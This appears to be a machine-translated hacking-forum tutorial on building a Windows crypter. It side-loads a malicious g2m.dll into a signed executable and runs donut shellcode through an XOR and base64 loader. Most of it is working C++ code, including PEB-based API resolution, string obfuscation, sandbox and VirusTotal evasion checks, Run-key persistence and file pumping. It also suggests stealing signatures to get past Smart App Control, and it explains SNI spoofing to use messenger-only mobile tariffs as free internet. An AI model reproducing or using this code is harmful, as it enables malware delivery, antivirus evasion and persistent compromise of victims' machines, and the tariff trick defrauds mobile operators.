The headline came out a bit clickable, but still let’s analyze one of the ways to bypass the smart screen and write our own simple crypter running shellcode. Since I recently made a large sum for me, I lost touch with life for a few weeks. Well, I’ll also show you how you can get free unlimited Internet if you have it for messengers like telegrams, but there is no main traffic left. This is the first time I’m writing something like this here, so maybe I made mistakes somewhere, or messed up with the code.
The software that we need to write the code and build it:
Ida Pro with HexRays
Clion / Visual Studio / Notepad
Vpn if you try to download Clion from Russia.
MinGW or another compiler
Ida Pro can also be downloaded to xss in the reverse section, so let’s immediately start installing Cliona, I use it because I have Linux and you can use several compilers at once, well, I’m also used to the Idea interface, it’s more intuitive and convenient for me, but it eats a lot of RAM, but it’s undemanding to your video card.
Installing a vpn / proxy + a way of free Internet on tariffs with messengers
- On android, it is so pretty and snide to download something as it is not necessary here and there is such a program called v2rayng – https://play.google.com/store/apps/details?id=com.v2ray.ang&hl=ru&pli=1 or github https://github.com/2dust/v2rayNG/releases .
Go into the application, click the + button and import from the clipboard - After you have imported it, click the edit button, scroll to the end, see the SNI and write there – web.telegram.org / web.whatapp.com and so on, and turn on the allow unsafe check box.
- Next, click the check mark to save and connect with a large gray button with a check mark.
We go to the official Qv2Ray github https://github.com/Qv2ray/Qv2ray/releases/tag/v2.7.0 , download the exe installer / or portable version if desired, in the installer we stupidly skip all the steps and the installation will go. - Quality v2 raycore with releases for full Qv2Ray operation https://github.com/v2fly/v2ray-core/releases/tag/v4.31.0
- Next, go to Qv2Ray and go to Preferences and we are interested in the fields marked with crosses, by default there will be nothing on these paths, so create a vcore folder in the qv2ray folder yourself, or unpack the downloaded archive from vcore wherever you want and write the paths to it / select the Select button.
- It turns out that the created vcore will contain files from the archive
- After that, we proceed to the search for a free server, for example, you can take it here https://www.vpnjantit.com / select v2ray vmess / vless as desired and see that there are servers in many countries. We choose any suitable speed for you and so on.We enter a random username and enter a captcha, after which we get the generated vmess link in the right window.
- On the right we get the vmess link and click copy link.
- Next, go to Qv2Ray, click the import button and paste the copied into the Share Link field, then we will see your server appear and you can simply connect with 2 taps or by clicking the button with a triangle.
- That’s not all, how do you want to get a free interface? -> we can edit in json format and display tls settings, change the text to this one, in places web.telegram.org you can also use WhatsApp or any other convenient way for you.
“”allow insecure”: true,
“fingerprint”: “”,
“”public key”: “”,
“Server name”: “web.telegram.org “,
“Short ID”: “”,
“show”: false,
“spiderX”: “” - In the end, the profit with free Internet, the same tariff with messengers is ultra-cheap and costs about 2$ from operators
Installing Clion
- Go to the program’s website and click the download button, after which you will be redirected to another page with the system selection.
- Next, we see the type of installation and select windows, it is possible to download in a zip or for a specific architecture, but I chose just to click download exe installer.
- Next, the installer is downloaded, choose what you need, let’s say I chose a shortcut to the desktop for easy launch, you can also choose associations with files, but for this it is not very good, the notepad fits better.
- To install under linux, download tar.gz archive.
- Next, we unpack it and get a picture of the view.
- To run clean, go to the bin folder and give it to the executable, or write the path to the file in the chmod +x terminal.
- The interfaces of the programs on Windows and on Linux do not differ, so the installation can be considered completed.
Installing the compiler
- We go to https://github.com/mstorsjo/llvm-mingw let’s go to the releases.
- For Windows, select a compiler without ubuntu and macos attributions with the end x86_x64.
For Linux, choose ubuntu x86_x64.
Compilers for both Windows and Linux do not differ much in terms of location and file names (in Windows .the exe is being added). In order to add the compiler to Lion, you need to click New Project, because we have a DllSideLoad project, select C++ Library and Shared, for which it is not particularly important because at any time it can be changed in CMakeLists.txt . - After the project is created, go to File, then to Settings.
- Next, go to Build / Execution… There we are interested in the ToolChains tab
- Click on the plus sign there and select System
- Next, go to the compiler we downloaded and unpack it into some folder.
- Next, go back to Clion and enter it in the fields C Compiler if you want to build a 64–bit exe / dll –> folder path/bin/x86_64–w64–mingw32–gcc / If the 32–bit folder path is/bin/i686–w64–mingw32–gcc C++ Compiler if you want to build a 64–bit exe / dll –> folder path/bin/x86_64–w64–mingw32–g++ / If the 32–bit folder path is/bin/i686–w64–mingw32–g++
- Drag your added compiler to the top if you want it to be used by default
- The compiler is configured. We proceed to the step of searching for a vulnerable exe for our pleasures.
Searching for a vulnerable exe and writing code
- Go to the details and see that the file is signed and weighs about 40kb
- So we found a candidate for our idea, then go to the downloaded Ida Pro, click New in the window, then drag the file and click OK.
- Further, after we have logged in and the file has downloaded, we are interested in the Imports tab.
- As we can see, there are various imports from the system and a single one from g2m.dll , we switch to it,We see that most likely this is WinMain with its 3 arguments. If we look for references in the code, we will see how the function is called.
- Click jump to xref for this sub_xxxx and we see that this function is the entry point of the application. We assume that the arguments are like WinMain’s or they simply do not exist. Let’s start writing the code.
Writing malware code
- We already have an open project in Lion, but we haven’t finished everything there, we go back to CMakeLists.txt and we will need to add compilation flags so that the library functions normally and does not need other dllks. Adding the code to CMakeLists.txt after the set.
- Makefile:
set(CMAKE_CXX_FLAGS "-w -s -Oz -ffunction-sections -fdata-sections -Wl,--gc-sections -fvisibility=hidden -mavx2 -mbmi2 -DNDEBUG") set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wno-narrowing") set(CMAKE_EXE_LINKER_FLAGS "-Wl,--exclude-all-symbols -shared -static-libgcc -static-libstdc++ -Wl,-Bstatic,--whole-archive -lwinpthread -Wl,--no-whole-archive")
–
Also, in order not to rename the folder ourselves every time, we add some more code after add_library
Instead of DllSideLoad, your name is from add_library.
set_target_properties( DllSideLoad
PROPERTIES
OUTPUT_NAME "g2m"
SUFFIX ".dll")
- Next, we go to our library.cpp file and demolish everything clean. We are doing our import and test MessageBox to check if our idea is working.
C++:
#include "windows.h"
extern "C" __declspec(dllexport) __attribute__((visibility("default"))) int g2mcomm_winmain(DWORD, int, DWORD, DWORD, DWORD, DWORD){
return 0;
}
BOOL APIENTRY DllMain( HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved){
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
MessageBoxW(NULL, L"Hello from g2m.dll", L"Entry", MB_ICONEXCLAMATION | MB_OK);
}break;
}
return TRUE;
}
}
- Build by pressing the hammer in Clion, on Linux you will have a joke that it is wrong to get off, so there we change add_library to add_executable
- Next, after the build, we throw the dll next to G2M.exe and we see that it is not rejected as a foreign object and our MessageBox is executed.
Let’s write the simplest shellcode executor and check it further, I would not have been satisfied with it and I chose a slightly different path.
C++:
PVOID shellcode_exec = VirtualAlloc(0, decrypted_data.length(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
mem_copy(shellcode_exec, decrypted_data.data(), decrypted_data.length());
DWORD threadID;
HANDLE hThread = CreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
WaitForSingleObject(hThread, INFINITE);
To begin with, let's hide the receipt of the PEB(Process Environment Block), by default it is __readfsdword(0x30);
But I want to hide this receipt and so that it is not visible that it exists, how can I do this?
C++:
long addr(){
return 0x30 * 14;
}
void execute()
{
long read = addr() / 14;
PPEB pPEB = (PPEB)__readfsdword(read);
Next, I get the library kernel32.dll which contains our functions without GetModuleHandle and LoadLibrary using LDR_DATA_TABLE_ENTRY and the GetProcAdress address, it doesn't make much sense, but still, because we are looking in the list of exported functions.
We will also use a macro to hide the use of memcpy from other libraries:
C++:
# define memcpy(D,S,N) {char*xxd=(char*)(D);const char*xxs=(const char*)(S);\ int xxn=(N);while(xxn-->0)*(xxd++)=*(xxs++);}
I will make a test shellcode using a bagel -> https://github.com/TheWover/donut having previously decompiled it. We launch the bagel and see its arguments. - We are interested in -a - choice of architecture 1 - x32, 2 - x64, and compression -z 2 - aplib, because I have more methods on Linux on Windows, I can use a bagel for Windows using wine. The flag -e by default suits us, -i - input your file, -o output the final file., -f the type of the final file is 3 for our chosen C-like language. - And it turns out that ./donut -a 1 -z 2 -f 3 -i exam shellcode. At the output we will get .h is a file with a shellcode.
Let’s import this file #include “name”. We get the following final code as a result.
C++:
#include <winternl.h>
#include "windows.h"
#include "library.h"
void execute();
extern "C" __declspec(dllexport) __attribute__((visibility("default"))) int g2mcomm_winmain(DWORD, int, DWORD, DWORD, DWORD, DWORD){
return 0;
}
# define memcpy(D,S,N) {char*xxd=(char*)(D);const char*xxs=(const char*)(S);\
int xxn=(N);while(xxn-->0)*(xxd++)=*(xxs++);}
typedef HMODULE(WINAPI *PGetModuleHandleA)(PCSTR);
typedef FARPROC(WINAPI *PGetProcAddress)(HMODULE, PCSTR);
typedef PVOID(WINAPI *PVirtualAlloc)(PVOID, SIZE_T, DWORD, DWORD);
typedef PVOID(WINAPI *PCreateThread)(PSECURITY_ATTRIBUTES, SIZE_T, PTHREAD_START_ROUTINE, PVOID, DWORD, PDWORD);
typedef PVOID(WINAPI *PWaitForSingleObject)(HANDLE, DWORD);
typedef LPVOID(WINAPI *PVirtualAllocEx)(HANDLE hProcess, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
typedef HANDLE(WINAPI *PGetCurrentProcess)(VOID);
typedef WINBOOL(WINAPI *PWriteProcessMemory)(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T *lpNumberOfBytesWritten);
long addr(){
return 0x30 * 14;
}
void execute()
{
long read = addr() / 14;
PPEB pPEB = (PPEB)__readfsdword(read);
PPEB_LDR_DATA pLoaderData = pPEB->Ldr;
PLIST_ENTRY listHead = &pLoaderData->InMemoryOrderModuleList;
PLIST_ENTRY listCurrent = listHead->Flink;
PVOID kernel32Address;
do
{
PLDR_DATA_TABLE_ENTRY dllEntry = CONTAINING_RECORD(listCurrent, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
DWORD dllNameLength = WideCharToMultiByte(CP_ACP, 0, dllEntry->FullDllName.Buffer, dllEntry->FullDllName.Length, NULL, 0, NULL, NULL);
PCHAR dllName = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllNameLength);
WideCharToMultiByte(CP_ACP, 0, dllEntry->FullDllName.Buffer, dllEntry->FullDllName.Length, dllName, dllNameLength, NULL, NULL);
CharUpperA(dllName);
if (strstr(dllName, "KERNEL32.DLL"))
{
kernel32Address = dllEntry->DllBase;
HeapFree(GetProcessHeap(), 0, dllName);
break;
}
HeapFree(GetProcessHeap(), 0, dllName);
listCurrent = listCurrent->Flink;
} while (listCurrent != listHead);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)kernel32Address;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)kernel32Address + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&(pNtHeader->OptionalHeader);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)kernel32Address + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PULONG pAddressOfFunctions = (PULONG)((PBYTE)kernel32Address + pExportDirectory->AddressOfFunctions);
PULONG pAddressOfNames = (PULONG)((PBYTE)kernel32Address + pExportDirectory->AddressOfNames);
PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)kernel32Address + pExportDirectory->AddressOfNameOrdinals);
PGetModuleHandleA pGetModuleHandleA = NULL;
PGetProcAddress pGetProcAddress = NULL;
for (int i = 0; i < pExportDirectory->NumberOfNames; ++i)
{
PCSTR pFunctionName = (PSTR)((PBYTE)kernel32Address + pAddressOfNames[i]);
if (!strcmp(pFunctionName, "GetModuleHandleA"))
{
pGetModuleHandleA = (PGetModuleHandleA)((PBYTE)kernel32Address + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
}
if (!strcmp(pFunctionName, "GetProcAddress"))
{
pGetProcAddress = (PGetProcAddress)((PBYTE)kernel32Address + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
}
}
HMODULE hKernel32 = pGetModuleHandleA("kernel32.dll");
PVirtualAllocEx funcVirtualAllocEx = (PVirtualAllocEx)pGetProcAddress(hKernel32, "VirtualAllocEx");
PGetCurrentProcess funcGetCurrentProcess = (PGetCurrentProcess)pGetProcAddress(hKernel32, "GetCurrentProcess");
PWriteProcessMemory funcWriteProcessMemory = (PWriteProcessMemory)pGetProcAddress(hKernel32, "WriteProcessMemory");
void* Process = funcGetCurrentProcess();
PVOID allocatedMem = funcVirtualAllocEx(Process,0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(allocatedMem == nullptr){
exit(EXIT_FAILURE);
}
SIZE_T bytes;
funcWriteProcessMemory(Process, allocatedMem, (LPCVOID)&buf, sizeof(buf), &bytes);
((void(*)())allocatedMem)();
ExitProcess(0);
}
BOOL APIENTRY DllMain( HMODULE hModule,DWORD ul_reason_for_call,LPVOID lpReserved){
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: {
MessageBoxW(NULL, L"Hello from g2m.dll", L"Entry", MB_ICONEXCLAMATION | MB_OK);
execute();
}break;
}
return TRUE;
}
As we can see and can observe, our shellcode has successfully worked and launched our payload.
In the next steps, we will add string obfuscation and code littering.
To encrypt strings in Compile Time, we will use the repository https://github.com/adamyaxley/Obfuscate .
Copy the code from obfuscate.h or download it and throw it into our project, then #include "obfuscate.h"
To obfuscate a string, it will be enough to write AY_OBFUSCATE and put our string there.
- Now let's see what the code in the decompiler looks like.
- As we can see, just a cloud of garbage code was added to those places where it was empty and the code stretched almost 5 times.
For the cipher of the shellcode itself, you can make the simplest xor method, the Integer value will act as the key, as well as slightly confuse the code by adding rand(), the code will be universal for both decryption and encryption, in theory you can still screw compression, but we already have it in the bagel and it works fine.
C++:
std::string EncryptDecrypt(const std::string& input, int key) {
std::string output = input;
char a;
key = rand() % 99;
for(size_t i = 0; i < input.length(); ++i) {
a = input[i];
int b = static_cast<int>(a);
b ^= key;
a = static_cast<char>(b);
output[i] = a;
}
return output;
}
Now let's create a program for this code to encrypt the shellcode we received.
To do this, add to CMakeLists.txt a few new lines to compile the newly minted .exe encoder
set(CMAKE_EXE_LINKER_FLAGS "-Wl,--exclude-all-symbols -static -municode")
add_executable(Encrypter encrypter.cpp)
And we are writing code to encrypt the file, first of all, why did we add the unicode flag? because if the user is an Arab, then he will have far from ansi lines and the application will simply not work and a folder with Latin letters will be needed C:/latin .
C++:
#include <fstream>
#include <string>
#include <random>
#include <iostream>
#include "library.h"
#include "base64.h"
using namespace std;
std::string read_file_str(std::wstring path) {
std::wifstream wfile = std::wifstream(path.c_str(), std::ios_base::binary | std::ios_base::ate);
std::wstring file_data(wfile.tellg(), '\0');
wfile.seekg(0);
wfile.read((wchar_t *)file_data.data(), file_data.length());
std::string data_ansi = {file_data.begin(),file_data.end()};
return data_ansi;
}
bool write_to_file(const std::wstring& file_name, std::string data) {
std::wofstream output_file = std::wofstream(file_name.c_str(), std::ofstream::binary);
if (!output_file.good()) {
return false;
}
std::wstring data_unicode = {data.begin(),data.end()};
output_file.write(data_unicode.c_str(), data_unicode.length());
output_file.close();
return true;
}
int wmain(int argc, wchar_t* argv[]) {
if(argc < 3){
printf("\nInvalid arguments: count\nUsage: exe,out\nv");
system("PAUSE");
return 0;
}
string file = read_file_str(argv[1]);
file = EncryptDecrypt(file,default_key);
file = base64_encode(file);
write_to_file(argv[2],file);
system("pause");
}
In the code, we read the first 2 arguments input, output and then just get the text from the file to std::string and subsequently encrypt it, and write it using wostream and convert std:;string to std::wstring, that is, from a short string to a wide unicode one.
Updated library.h, where I put default_key and the encryption method of the payload.
C++:
int default_key = 12345;
std::string EncryptDecrypt(const std::string& input, int key) {
std::string output = input;
char a;
key = rand() % 99;
for(size_t i = 0; i < input.length(); ++i) {
a = input[i];
int b = static_cast<int>(a);
b ^= key;
a = static_cast<char>(b);
output[i] = a;
}
return output;
}
Next, I added base64.h so that the file was correctly written to disk because we completely broke wstring, and even windows' file library, it simply read the wrong length.
C++:
static const std::string base64_chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ" "abcdefghijklmnopqrstuvwxyz" "0123456789+/"; static inline bool is_base64(unsigned char c) { return (isalnum(c) || (c == '+') || (c == '/')); } inline std::string base64_encode(const std::string &bytes) { auto bytes_to_encode = reinterpret_cast<unsigned char const *>(&bytes[0]); unsigned int in_len = bytes.size(); std::string ret; int i = 0; int j = 0; unsigned char char_array_3[3]; unsigned char char_array_4[4]; while (in_len--) { char_array_3[i++] = *(bytes_to_encode++); if (i == 3) { char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); char_array_4[3] = char_array_3[2] & 0x3f; for (i = 0; (i < 4); i++) ret += base64_chars[char_array_4[i]]; i = 0; } } if (i) { for (j = i; j < 3; j++) char_array_3[j] = '\0'; char_array_4[0] = (char_array_3[0] & 0xfc) >> 2; char_array_4[1] = ((char_array_3[0] & 0x03) << 4) + ((char_array_3[1] & 0xf0) >> 4); char_array_4[2] = ((char_array_3[1] & 0x0f) << 2) + ((char_array_3[2] & 0xc0) >> 6); char_array_4[3] = char_array_3[2] & 0x3f; for (j = 0; (j < i + 1); j++) ret += base64_chars[char_array_4[j]]; while ((i++ < 3)) ret += '='; } return ret; } inline std::string base64_decode(std::string const &encoded_string) { int in_len = encoded_string.size(); int i = 0; int j = 0; int in_ = 0; unsigned char char_array_4[4], char_array_3[3]; std::string ret; while (in_len-- && (encoded_string[in_] != '=') && is_base64(encoded_string[in_])) { char_array_4[i++] = encoded_string[in_]; in_++; if (i == 4) { for (i = 0; i < 4; i++) char_array_4[i] = base64_chars.find(char_array_4[i]); char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; for (i = 0; (i < 3); i++) ret += char_array_3[i]; i = 0; } } if (i) { for (j = i; j < 4; j++) char_array_4[j] = 0; for (j = 0; j < 4; j++) char_array_4[j] = base64_chars.find(char_array_4[j]); char_array_3[0] = (char_array_4[0] << 2) + ((char_array_4[1] & 0x30) >> 4); char_array_3[1] = ((char_array_4[1] & 0xf) << 4) + ((char_array_4[2] & 0x3c) >> 2); char_array_3[2] = ((char_array_4[2] & 0x3) << 6) + char_array_4[3]; for (j = 0; (j < i - 1); j++) ret += char_array_3[j]; } return ret; }
Now, in the same don't run the same command, just remove the argument -a so that the shellcode bin file is generated.Next, we use our compiled Encrypter.exe The file is saved in your path, then go to any hex editor, for example HxD on Windows, for Linux Okteta. There we select Edit -> Copy as Array C, in HxD there is about the same algorithm. - Creating a new payload file.h include it and base64.h in library.cpp
#include "base64.h"
#include "payload.h"
Next, we slightly change the code in library.cpp for the encrypted payload, add base64_decode and decryption + slightly change the code where the virtual is located.
C++:
void* Process = funcGetCurrentProcess();
std::string base_dec = base64_decode(buffer);
std::string buffer_dec = EncryptDecrypt(base_dec,default_key);
PVOID allocatedMem = funcVirtualAllocEx(Process,0, buffer_dec.size(), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(allocatedMem == nullptr){
MessageBoxW(NULL, L"Hello from g2m.dll", L"Entry", MB_ICONEXCLAMATION | MB_OK);
exit(EXIT_FAILURE);
}
SIZE_T bytes;
funcWriteProcessMemory(Process, allocatedMem, buffer_dec.c_str(), buffer_dec.size(), &bytes);
((void(*)())allocatedMem)();
ExitProcess(0);
To be honest, at this point I was most tired and fixed my blunt for about half an hour, but as a result, the code is executed and works.
We protect ourselves from the VirusTotal with simple tricks
Everyone is probably being stabbed by bots from the virustotal that are forever knocking on the file, or other finished AnyRun machines and other similar crap, I decided to show how you can protect yourself from half if you have a Dllka, but you can use it in the exe I think. I add a call to GetUserNameA again, create a typedef.
C++:
typedef WINBOOL(WINAPI *PGetUserNameA)(LPSTR lpBuffer, LPDWORD pcbBuffer);
PGetUserNameA funcGetUserNameA;
bool CheckUserNames() {
char *sUsers[] = {(char *) AY_OBFUSCATE("UserName"),
(char *) AY_OBFUSCATE("user"),
(char *) AY_OBFUSCATE("sandbox"), (char *) AY_OBFUSCATE("honey"), (char *) AY_OBFUSCATE("vmware"),
(char *) AY_OBFUSCATE("currentuser"), (char *) AY_OBFUSCATE("nepenthes"),
(char *) AY_OBFUSCATE("andy"),
(char *) AY_OBFUSCATE("CurrentUser"), (char *) AY_OBFUSCATE("HAL9TH"),
(char *) AY_OBFUSCATE("JohnDoe")};
char szBuffer[30];
unsigned long lSize = sizeof(szBuffer);
if (funcGetUserNameA(szBuffer, &lSize) == 0) {
return (1);
}
for (int i = 0; i < (sizeof(sUsers) / sizeof(char *)); i++) {
if (strstr(szBuffer, sUsers[i])) {
return 1;
}
}
return 0;
}
Since this function is located in ADVAPI32, we will need to load it via LoadLibrary
C++:
typedef HMODULE(WINAPI *PLoadLibraryA)(LPCSTR lpLibFileName);
PLoadLibraryA funcLoadLibraryA = (PLoadLibraryA)pGetProcAddress(hKernel32, AY_OBFUSCATE("LoadLibraryA"));
funcGetUserNameA = (PGetUserNameA)pGetProcAddress(funcLoadLibraryA(AY_OBFUSCATE("ADVAPI32.dll")), AY_OBFUSCATE("GetUserNameA"));
This is about how we add a function to our library, now how else can we be careful, if you look at the zenbox, it always loads your library through rundll32, respectively, we can simply exclude that our library was loaded in programs from the system folder or otherwise, but it's a bit dumb, but in general the code would look like this.
C++:
bool contains(const std::wstring& one, const std::wstring& two) {
return one.find(two)!= std::wstring::npos;
}
void Check(){
wchar_t CurrentFilePath[1024];
GetModuleFileNameW(0, CurrentFilePath, 1024);
if(contains(CurrentFilePath,L"rundll")){
exit(EXIT_FAILURE);
}
}
Adding autoloading
Let's say you have a script for cancer or another program, how do I make an auto-upload? In general, you can stupidly add a file from the temp directory and the job is done, but there are other ways to autoload.
First, let's create our own pamper code on the pros, yes it will be as non-optimized as possible and it will need time to dump the file, but still, the code stupidly adds a space and writes it to the end of the file in a loop that counts how many megabytes we added.
C++:
std::wstring Pump(const std::wstring& asmPath, int mb) {
std::wofstream fileStream(asmPath, std::ios::binary | std::ios::app);
long fileSizeInBytes = static_cast<long>(mb * 1024 * 1024); // 1MB = 1024 * 1024 bytes
fileStream.seekp(0, std::ios_base::end);
long currentPosition = fileStream.tellp();
long bytesToAdd = fileSizeInBytes - currentPosition;
while (bytesToAdd > 0) {
const wchar_t space = L' ';
fileStream.write(&space, 1);
bytesToAdd--;
}
fileStream.close();
return asmPath;
}
Next, let's do the simplest auto-upload with copying files to the user's directory and a 100mb pump.
First, let's create a method to convert from Str to str.
C++:
std::wstring strWide(const char* cStr) {
std::string str = cStr;
std::wstring wideStr(str.begin(), str.end());
return wideStr;
}
}
Writing the startup code will look something like this, in it we pre-delete the dll if there is no executable and write our new file there, and then check if there is an exe along this path so as not to update many times,
C++:
bool exists(const std::wstring& path) {
return std::filesystem::exists(path);
}
void EnableAutoRun() {
HKEY hkey;
wchar_t CurrentFilePath[1024];
GetModuleFileNameW(0, CurrentFilePath, 1024);
std::filesystem::path CurrentExe = CurrentFilePath;
wchar_t my_documents[MAX_PATH];
SHGetFolderPathW(NULL, CSIDL_PROFILE, NULL, SHGFP_TYPE_CURRENT, my_documents);
std::filesystem::path documents = my_documents;
std::wstring appPath = CurrentExe.filename();
std::wstring dllPath = strWide(AY_OBFUSCATE("g2m.dll"));
std::wstring updaterDLL = documents / dllPath;
std::wstring updaterEXE = documents / appPath;
if(!exists(updaterEXE)){
_wremove(updaterDLL.c_str());
std::filesystem::copy_file(dllPath, updaterDLL);
std::filesystem::copy_file(appPath, updaterEXE);
RegCreateKeyExW(HKEY_CURRENT_USER,
strWide(AY_OBFUSCATE("Software\\Microsoft\\Windows\\CurrentVersion\\Run")).c_str(), 0, NULL, 0,
KEY_WRITE, NULL, &hkey, NULL);
RegSetValueExW(hkey, NULL, 0, REG_SZ, (unsigned char *) updaterEXE.c_str(), MAX_PATH);
Pump(updaterDLL, 100);
}
}
We check our code by rebooting the system and it works well.
But there are also other ways to autoload, for example -> rundll32.exe path,Entry in the startup registry instead of our path to the executable file.
In general, I chewed the article as best I could, I will attach the compiled sources next to it below, there will be a bagel, an encrypter, the sources themselves and G2M.exe + compiled library as an example / library without obfuscation noobf.dll . The disadvantage of this method lies in the new Smart App Control that appeared in Windows 11, which, however, is easy to do by taking the SignThief signature from the exe where it is revoked, or by erasing part of the signature so that it is written Revoked. To bypass the chrome alert, it will be enough to dump the dll files and add garbage to the archive, scan the detector -> https://avcheck.net/id/9Eq0MqQf3yqi most likely due to the fact that I shoved the compiler into the trash and I have a hello world with 20 detectors per watt). Perhaps on Windows, the codes will have to be interpreted differently because sometimes not all functions are available in libraries there. memory does not change, I saw on the forum how it is used with MinGW. I also think I would add virtualization and sandbox bypasses in the future.
DOWNLOAD SOURCE
THE NOTE This article is for informational purposes only. We do not encourage you to commit any hacking. Everything you do is your responsibility.
TOX : 340EF1DCEEC5B395B9B45963F945C00238ADDEAC87C117F64F46206911474C61981D96420B72
Telegram : @DevSecAS